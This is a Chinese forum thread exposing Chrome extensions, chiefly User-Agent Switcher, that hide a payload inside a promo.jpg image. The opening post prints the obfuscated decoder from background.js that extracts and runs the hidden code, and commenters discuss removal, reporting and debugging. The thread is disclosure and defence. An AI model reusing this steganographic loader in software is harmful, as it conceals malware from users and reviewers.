https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake
background.js 的第 80 行,从这个图片里解密出恶意代码并执行
t.prototype.Vh = function(t, e) { if ("" === '../promo.jpg') return ""; void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {}; var n = this.ET, i = e.mp || n.mp, o = e.Tv || n.Tv, h = e.At || n.At, a = r.Yb(Math.pow(2, i)), f = (e.WC || n.WC, e.TY || n.TY), u = document.createElement("canvas"), p = u.getContext("2d"); if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return ""; e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0); var c = p.getImageData(0, 0, u.width, u.height), d = c.data, g = []; if (c.data.every(function(t) { return 0 === t })) return ""; var m, s; if (1 === o) for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1)); var v = "", w = 0, y = 0, l = Math.pow(2, h) - 1; for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y); return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v) }
https://chrome.google.com/webstore/detail/nenhancer/ijanohecbcpdgnpiabdfehfjgcapepbm
https://chrome.google.com/webstore/detail/allow-copy/abidndjnodakeaicodfpgcnlkpppapah
https://chrome.google.com/webstore/detail/aliexpress-radar/pfjibkklgpfcfdlhijfglamdnkjnpdeg
这里也有人讨论这个问题 https://news.ycombinator.com/item?id=14889619
![]() | 1 gzlock 2017-09-09 06:33:21 +08:00 via Android ![]() 真的变 agent 了,赶紧起床删掉 |
![]() | 2 kmahyyg 2017-09-09 06:37:27 +08:00 via Android 天呐,等我回去看下 |
3 sunbeams001 2017-09-09 07:02:01 +08:00 简直可怕 |
![]() | 4 Antidictator 2017-09-09 07:24:20 +08:00 via Android 我擦。。 |
5 t123yh 2017-09-09 07:25:34 +08:00 via Android 真 TM 吓人啊 |
![]() | 6 torbrowserbridge 2017-09-09 07:51:34 +08:00 via Android 我擦,估计早就财务自由了 |
![]() | 7 syahd 2017-09-09 07:59:24 +08:00 via Android 还好我早就不用 ua 切换工具了 |
8 0TSH60F7J2rVkg8t 2017-09-09 08:01:44 +08:00 via iPhone 卧槽,起床去删 |
![]() | 9 houbaron 2017-09-09 08:09:59 +08:00 via Android 我现在正用着呢。。。有什么替代产品呢? |
![]() | 10 torbrowserbridge 2017-09-09 08:13:40 +08:00 via Android 奇怪楼主是怎么发现的呢,赞 |
11 wave3c 2017-09-09 08:15:51 +08:00 用了好多年了 惊悚 |
12 mylanch 2017-09-09 08:16:08 +08:00 via iPhone google 官方会有什么行动 |
![]() | 13 liyiecho 2017-09-09 08:33:14 +08:00 ![]() 看了下我用的是谷歌提供的 User-Agent Switcher for Chrome @houbaron #9 https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg |
![]() | 14 dong3580 2017-09-09 08:39:54 +08:00 via Android 这个用了一次就删了,替换成别的了,害怕,都删了得了。firefox 那个一样名字的呢? @liyiecho 这个居然是官方的,还好没中招, |
![]() | 15 Cambrian07 2017-09-09 08:45:53 +08:00 ![]() @liyiecho 删完了发现,我的也是谷歌提供的这个,又默默装上了…… |
16 crystom 2017-09-09 08:51:53 +08:00 我曹,已中招,还好我只是使用的时候才启用这个扩展 |
![]() | 17 anoymoux OP @dong3580 firefox 也不安全,这家伙写的插件大部分都提供了 firefox,opera 版本的,我列出的这几个仅在 chrome 平台就有超过 100 万用户 |
img src="https://cdn.v2ex.com/avatar/93a6/d451/95724_normal.png?m=1466135179" class="avatar" border="0" align="default" alt="anoymoux" data-uid="95724" /> | 18 anoymoux OP 唉,这个插件我装了几年了,想想这几年都在这个俄罗斯黑客的监控之下,挺恶心的... |
![]() | 19 qlbr 2017-09-09 09:23:14 +08:00 |
![]() | 20 honk 2017-09-09 09:41:44 +08:00 via Android 用 dev tools 自己随便加 |
![]() | 22 akwIX 2017-09-09 09:47:27 +08:00 |
![]() | 23 crisfun 2017-09-09 09:54:35 +08:00 via iPhone 晚上来看看 |
![]() | 24 doubleflower 2017-09-09 10:06:35 +08:00 尽量不要装俄国人写的插件。。。 |
![]() | 25 GlobalNPC 2017-09-09 10:09:46 +08:00 @Cambrian07 ...+1 |
26 lpy6759 2017-09-09 11:35:33 +08:00 删除代码能解决木马吗 |
27 lantianqiren 2017-09-09 11:38:03 +08:00 楼主好人啊 |
![]() | 28 deeporist 2017-09-09 11:53:48 +08:00 吃了一惊 还好我 chrome 是用 smart header 自己改的 不过 firefox 里倒是留了一个 刚才一看好像作者就是个毛子立马删之 不过 ff 里的这个我几乎就没用过就是了 改 ua 都是直接用 umatrix |
30 qa2080639 2017-09-09 12:08:34 +08:00 赶紧删了... |
![]() | 31 zro 2017-09-09 12:10:47 +08:00 还好 Chrome 这几个插件都没装过 @deeporist #28 FF 我用的是这个 https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/,应该没事的吧。。。好可怕 ![]() ![]() ![]() |
![]() | 32 zhuziyi 2017-09-09 12:13:53 +08:00 via iPhone 卧槽,先卸载为敬,快来人进一步核实。 |
![]() | 34 paradoxs 2017-09-09 12:21:09 +08:00 浏览器扩展的权限简直不要太大, 还能自动更新, 除了超级重要的扩展, 别的能不开就不开. |
![]() | 35 ihciah 2017-09-09 12:40:27 +08:00 via iPhone 好多插件都被买了然后插后门代码。以前中过一个好像叫 Web timer 发现总是跳转返利链接,查了下源码惊了。。 |
36 shiloh77 2017-09-09 12:43:17 +08:00 Firefox 上位作者是用什名字呢? 有害怕自己也到他的插件... 感 lz |
![]() | 38 jfdnet 2017-09-09 12:47:29 +08:00 记得这个之前有专门文章发过 有好几个有名的插件 是被出售了之后改造了 |
![]() | 39 xujinkai 2017-09-09 12:53:16 +08:00 吓得我把平时不用的插件都禁用了 |
![]() | 一直用的 SwitchyOmega,不会有事吧? |
![]() | 41 zuolan 2017-09-09 13:26:15 +08:00 可怕,感谢曝光。 |
![]() | 42 hjdtl 2017-09-09 13:33:07 +08:00 已经和 chrome 联系了 |
![]() | 43 salary123 2017-09-09 13:49:53 +08:00 via Android 这么久才有人发现。幸亏不是在常用浏览器上使用 |
![]() | 44 saran 2017-09-09 13:56:25 +08:00 via Android 还好宝宝不用代理(°3°) |
46 iyangfei 2017-09-09 14:20:52 +08:00 还好没有用这个 |
![]() | 47 UnisandK 2017-09-09 14:22:12 +08:00 卧槽惊了 |
49 Clooody 2017-09-09 14:52:20 +08:00 要是真的,去 google 商店那里举报一下也好啊,免得后来人遭殃. |
![]() | 50 6388xE5FRKTNUT9x 2017-09-09 14:54:22 +08:00 via Android 感谢楼主提醒。目前没在用这些扩展。? |
![]() | 51 doubleflower 2017-09-09 14:58:15 +08:00 电脑上的 npm 包成千上万,只要其中有一个人想干点坏事或是 npm 帐号被盗。。。那破坏力比插件强不止一点啊。 |
![]() | 52 7654 2017-09-09 15:17:13 +08:00 哈哈我用火狐,托管在 github 的 User Agent Overrider 扩展 |
![]() | 53 mjar 2017-09-09 15:29:46 +08:00 没装,但是我想看看那张图片长什么样... |
![]() | 54 mjar 2017-09-09 15:37:00 +08:00  |
![]() | 55 usedname 2017-09-09 15:43:34 +08:00 |
56 Izual_Yang 2017-09-09 15:50:20 +08:00 via Android @deeporist 刚装 umatrix 的时候勾了混淆 ua,然后我上知乎就时好时坏 |
57 hvanke 2017-09-09 15:52:15 +08:00 |
58 hantsy 2017-09-09 15:57:37 +08:00 ![]() 我用的是 Proxy SwitchOmega |
![]() | 61 redsonic 2017-09-09 17:29:51 +08:00 LZ 能不能把图片里的 js 直接贴出来 |
![]() | 62 lslqtz 2017-09-09 18:04:46 +08:00 我的天。。我就在用 |
63 MaxMadcc 2017-09-09 18:05:23 +08:00 我也想知道把图片解密出来后,执行了什么 |
![]() | 64 lslqtz 2017-09-09 18:09:16 +08:00 background.js 80 行,应该可以去掉 |
![]() | 65 jeffson 2017-09-09 18:11:56 +08:00 可怕 |
![]() | 66 lslqtz 2017-09-09 18:25:12 +08:00 改掉了那些地方,然后自己提交个仅链接可查看的给自己看了 |
![]() | 67 U2FsdGVkX1 2017-09-09 18:36:04 +08:00 一直用 djflhoibgkdhkhhcedjiklpkjnoahfmg 由 Google 提供 |
![]() | 68 xifangczy 2017-09-09 18:37:25 +08:00 我靠。我就是用的这个... 不过因为他会在右键添加很多菜单还关不掉,平时都是禁止的。 |
![]() | 69 Tony2ee 2017-09-09 18:50:55 +08:00 额 看到这个 我就把 https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg 给卸载了还顺便投诉 malware... 感觉自己罪过了... |
![]() | 70 asdwddd 2017-09-09 18:54:56 +08:00 |
71 jliangchan 2017-09-09 19:00:37 +08:00 已经在 chrome 商店举报恶意软件, 扩展插件耍流氓真不好发现, 运营商 / dns/ 插件都可能劫持返利链接, 很难排除发现到底是谁的问题. |
![]() | 72 fhefh 2017-09-09 19:29:51 +08:00 看了自己写的插件 才 60 多个人 /(ㄒoㄒ)/~~ |
![]() | 73 exoticknight 2017-09-09 19:32:48 +08:00 感谢,已卸载 |
74 liaoyaoheng 2017-09-09 19:50:44 +08:00 举报一下,尽自己一份力。 |
![]() | 75 schema 2017-09-09 20:09:47 +08:00 已举报,谢谢分享~ |
76 172055 2017-09-09 20:37:21 +08:00 去年就有了... |
![]() | 77 yukiww233 2017-09-09 20:43:49 +08:00 吓死我了,结果发现自己用的是 google 的那个,赶紧举报 |
![]() | 78 skadi 2017-09-09 20:51:49 +08:00 via Android 没用过。。。 |
80 drwx 2017-09-09 21:05:33 +08:00 我用的 Header Hacker,和谷歌官方的那个插件同一作者,不过没有谷歌官方内置的 UA 列表,要自己添加,但是界面上来说似乎好用一点(?)。 |
81 tbag781623489 2017-09-09 21:53:35 +08:00 via iPhone 感谢一下,怪不得经常 pop up 一些鬼佬推广。以后只能油猴或者自己写了 |
![]() | 83 achendian2 2017-09-09 22:10:06 +08:00 恐怖 删 |
![]() | 84 LuoboTixS 2017-09-09 23:14:46 +08:00 Chrome 商店里的排名头部免费热门插件,若常年不断更新、功能已经成熟定型的话,都应该考虑是否有偷数据甚至改页面内容(广告跳转)的后门风险,不然 Dev 喝西北风啊? 英文互联网还有很多靠万能关键词 SEO 引诱点击下载的伪工具软件(广告木马)能把浏览器抽插的七窍流血,但根本不报毒也难定位 |
85 kappa 2017-09-09 23:20:59 +08:00 |
![]() | 86 xcc880 2017-09-09 23:28:42 +08:00 0.0 装了好久 |
![]() | 87 acess 2017-09-10 00:19:19 +08:00 |
![]() | 88 Kingfree 2017-09-10 00:39:10 +08:00 这家伙有问题怎么没被举报掉? |
![]() | 89 xspoco 2017-09-10 00:50:04 +08:00 我竟然装了。。赶紧删了。。 |
![]() | 90 redsonic 2017-09-10 01:20:25 +08:00 折腾了一下,没发现任何数据泄漏给那个域名。 t.prototype.Vh 这个调用过程中没有参数,导致 if (u.style.display = "none", u.width || t.width, u.height || t.height, 0 === u.width || 0 === u.height) return ""; 直接 return,也就没法知道 hack 的代码藏在图片的哪个位置 就算注释掉掉这句,由于 canvas 没有绘图,所以 d 里面是全 0 var c = p.getImageData(0, 0, u.width, u.height), d = c.data, g = []; if (c.data.every(function(t) { return 0 === t })) return ""; 最后也是 return,到不了后面的解码。LZ 应该分享一下怎么知道里面藏着什么东西的。我不是替这个插件说话,只是想知道实际的受害程度,load 一个图片然后跑了一大段混淆的代码确实没安什么好心。 |
![]() | 91 15015613 2017-09-10 08:19:40 +08:00 ![]() @zro @shiloh77 FireFox 上 User Agent Switcher ( https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/),应该问题不大。 这个是开源的,源代码在这 https://github.com/chrispederick/user-agent-switcher/ |
![]() | 92 lingaoyi/a> 2017-09-10 09:24:05 +08:00 via iPhone 好恐怖.... |
94 cyg07 2017-09-10 11:00:56 +08:00 |
![]() | 95 xi_lin 2017-09-10 11:22:55 +08:00 中奖了 |
![]() | 96 redsonic 2017-09-10 11:46:21 +08:00 @cyg07 https://cert.360.cn/warning/detail?id=866e27f5a3dd221b506a9bb99e817889 然而还是不清不楚,没有文件 hash,没有署名,没有提图片里藏什么了以及藏哪了。我实际验证了这个插件,80 行确实加载了 promo.jpg ,但后面马上就返回了。可能实际危害要小很多。 |
![]() | 97 anoymoux OP ![]() @redsonic 费了那么大劲把代码藏在图片里,怎么可能执行一下就返回了...你把那一行提取出来 debug 跟踪一下就明白了,下面两段代码是解密出来的 https://pastebin.com/ZYd82Hkm https://pastebin.com/gXV094wm 虽然混淆了,但是还是很容易看出木马行为的...这作者还是挺狡猾的,刚安装之后不会触发监控模块,24 小时之后才会. 另外 chrome 的 F12 network 里看不到插件发送的请求,这也是很多恶意插件能够存在这么长时间原因...如果想看某一个插件发送的请求,在 chrome://extensions/点击插件->背景页,选择 network 就能看到了 |
![]() | 98 redsonic 2017-09-10 17:36:09 +08:00 @anoymoux d=c.data,g=[];console.log(d) 打印出来是全 0 然会就返回了,应该是这个图片显示出来的时候才解密代码,我抓了两天的包都没抓到,crome 59 源代码 hook 了 url request 也没看到有相关域名,是有什么触发条件吗? 你是随便开一个 tab 就能抓到? |
![]() | 99 redsonic 2017-09-10 19:22:09 +08:00 @anoymoux 谢谢,直接在 extensions 里面就地调试 可以解出代码了,只不过第一次 getImageData 还是全 0,要第二次才行 。 把那段单独抽出来不管怎么调试都是 return。不过解出来的混淆代码还是没发出任何东西,在里面循环了一段就退出了,应该还是需要什么条件。 |
![]() | 100 redsonic 2017-09-10 19:39:59 +08:00 |